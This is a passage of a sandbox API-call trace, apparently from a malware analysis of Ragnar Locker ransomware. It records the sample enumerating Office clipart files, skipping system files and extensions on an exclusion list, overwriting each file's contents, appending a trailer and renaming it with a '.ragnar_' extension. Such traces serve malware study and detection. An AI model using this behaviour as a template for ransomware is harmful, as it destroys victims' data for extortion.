(hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.179] GetProcessHeap () returned 0x580000 [0081.179] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.179] CloseHandle (hObject=0xf4) returned 1 [0081.179] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" [0081.179] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.ragnar_FD7BD9FC" [0081.179] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.180] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ecd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba4ecd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1 [0081.180] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.180] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD00419_.WMF" | out: lpString1="DD00419_.WMF") returned="DD00419_.WMF" [0081.180] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned=".WMF" [0081.180] lstrcmpiW (lpString1="DD00419_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.180] lstrcmpiW (lpString1="DD00419_.WMF", lpString2="autorun.inf") returned 1 [0081.180] lstrcmpiW (lpString1="DD00419_.WMF", lpString2="boot.ini") returned 1 [0081.180] lstrcmpiW (lpString1="DD00419_.WMF", lpString2="bootfont.bin") returned 1 [0081.180] lstrcmpiW (lpString1="DD00419_.WMF", lpString2="bootsect.bak") returned 1 [0081.180] lstrcmpiW (lpString1="DD00419_.WMF", lpString2="bootmgr") returned 1 [0081.180] lstrcmpiW (lpString1="DD00419_.WMF", lpString2="bootmgr.efi") returned 1 [0081.180] lstrcmpiW (lpString1="DD00419_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.180] lstrcmpiW (lpString1="DD00419_.WMF", lpString2="desktop.ini") returned -1 [0081.180] lstrcmpiW (lpString1="DD00419_.WMF", lpString2="iconcache.db") returned -1 [0081.180] lstrcmpiW (lpString1="DD00419_.WMF", lpString2="ntldr") returned -1 [0081.180] lstrcmpiW (lpString1="DD00419_.WMF", lpString2="ntuser.dat") returned -1 [0081.180] lstrcmpiW (lpString1="DD00419_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.180] lstrcmpiW (lpString1="DD00419_.WMF", lpString2="ntuser.ini") returned -1 [0081.180] lstrcmpiW (lpString1="DD00419_.WMF", lpString2="thumbs.db") returned -1 [0081.180] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.180] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.180] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.181] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.181] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.181] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.181] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x20 [0081.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.181] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=712) returned 1 [0081.181] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.181] GetProcessHeap () returned 0x580000 [0081.181] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.181] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.182] VirtualAlloc (lpAddress=0x0, dwSize=0x2c8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.182] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.182] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.182] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2c8, lpOverlapped=0x0) returned 1 [0081.182] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.182] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.183] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2c8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2c8, lpOverlapped=0x0) returned 1 [0081.183] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.183] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.183] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.183] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.183] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.183] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.183] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.183] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.183] GetProcessHeap () returned 0x580000 [0081.183] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.183] CloseHandle (hObject=0xf4) returned 1 [0081.183] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" [0081.184] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.ragnar_FD7BD9FC" [0081.184] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.184] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91da000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb91da000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1 [0081.184] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.184] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD00437_.WMF" | out: lpString1="DD00437_.WMF") returned="DD00437_.WMF" [0081.184] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned=".WMF" [0081.184] lstrcmpiW (lpString1="DD00437_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.184] lstrcmpiW (lpString1="DD00437_.WMF", lpString2="autorun.inf") returned 1 [0081.184] lstrcmpiW (lpString1="DD00437_.WMF", lpString2="boot.ini") returned 1 [0081.184] lstrcmpiW (lpString1="DD00437_.WMF", lpString2="bootfont.bin") returned 1 [0081.184] lstrcmpiW (lpString1="DD00437_.WMF", lpString2="bootsect.bak") returned 1 [0081.184] lstrcmpiW (lpString1="DD00437_.WMF", lpString2="bootmgr") returned 1 [0081.184] lstrcmpiW (lpString1="DD00437_.WMF", lpString2="bootmgr.efi") returned 1 [0081.184] lstrcmpiW (lpString1="DD00437_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.184] lstrcmpiW (lpString1="DD00437_.WMF", lpString2="desktop.ini") returned -1 [0081.184] lstrcmpiW (lpString1="DD00437_.WMF", lpString2="iconcache.db") returned -1 [0081.184] lstrcmpiW (lpString1="DD00437_.WMF", lpString2="ntldr") returned -1 [0081.184] lstrcmpiW (lpString1="DD00437_.WMF", lpString2="ntuser.dat") returned -1 [0081.185] lstrcmpiW (lpString1="DD00437_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.185] lstrcmpiW (lpString1="DD00437_.WMF", lpString2="ntuser.ini") returned -1 [0081.185] lstrcmpiW (lpString1="DD00437_.WMF", lpString2="thumbs.db") returned -1 [0081.185] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.185] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.185] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.185] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.185] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.185] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.185] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x20 [0081.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.185] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1932) returned 1 [0081.185] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x783, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.185] GetProcessHeap () returned 0x580000 [0081.185] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.185] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.717] VirtualAlloc (lpAddress=0x0, dwSize=0x78c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.718] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x78c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x78c, lpOverlapped=0x0) returned 1 [0081.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.718] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x78c, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.718] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x78c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x78c, lpOverlapped=0x0) returned 1 [0081.718] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x78c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.718] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x78c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.718] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.718] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.718] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.718] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.719] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.719] GetProcessHeap () returned 0x580000 [0081.719] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.719] CloseHandle (hObject=0xf4) returned 1 [0081.719] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" [0081.719] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.ragnar_FD7BD9FC" [0081.719] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.720] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1 [0081.720] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.720] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD00448_.WMF" | out: lpString1="DD00448_.WMF") returned="DD00448_.WMF" [0081.720] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned=".WMF" [0081.720] lstrcmpiW (lpString1="DD00448_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.720] lstrcmpiW (lpString1="DD00448_.WMF", lpString2="autorun.inf") returned 1 [0081.720] lstrcmpiW (lpString1="DD00448_.WMF", lpString2="boot.ini") returned 1 [0081.720] lstrcmpiW (lpString1="DD00448_.WMF", lpString2="bootfont.bin") returned 1 [0081.720] lstrcmpiW (lpString1="DD00448_.WMF", lpString2="bootsect.bak") returned 1 [0081.720] lstrcmpiW (lpString1="DD00448_.WMF", lpString2="bootmgr") returned 1 [0081.720] lstrcmpiW (lpString1="DD00448_.WMF", lpString2="bootmgr.efi") returned 1 [0081.720] lstrcmpiW (lpString1="DD00448_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.720] lstrcmpiW (lpString1="DD00448_.WMF", lpString2="desktop.ini") returned -1 [0081.720] lstrcmpiW (lpString1="DD00448_.WMF", lpString2="iconcache.db") returned -1 [0081.720] lstrcmpiW (lpString1="DD00448_.WMF", lpString2="ntldr") returned -1 [0081.720] lstrcmpiW (lpString1="DD00448_.WMF", lpString2="ntuser.dat") returned -1 [0081.720] lstrcmpiW (lpString1="DD00448_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.720] lstrcmpiW (lpString1="DD00448_.WMF", lpString2="ntuser.ini") returned -1 [0081.720] lstrcmpiW (lpString1="DD00448_.WMF", lpString2="thumbs.db") returned -1 [0081.720] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.720] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.720] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.720] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.720] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.720] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.720] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x20 [0081.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.721] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2952) returned 1 [0081.721] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.721] GetProcessHeap () returned 0x580000 [0081.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.721] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.724] VirtualAlloc (lpAddress=0x0, dwSize=0xb88, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.724] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb88, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb88, lpOverlapped=0x0) returned 1 [0081.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.724] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb88, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.724] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb88, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb88, lpOverlapped=0x0) returned 1 [0081.724] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb88, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.724] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.724] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.724] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.725] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.725] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.725] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.725] GetProcessHeap () returned 0x580000 [0081.725] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.725] CloseHandle (hObject=0xf4) returned 1 [0081.725] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" [0081.725] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF", lpString2=".ragnar_FD7BD9FC" | out: 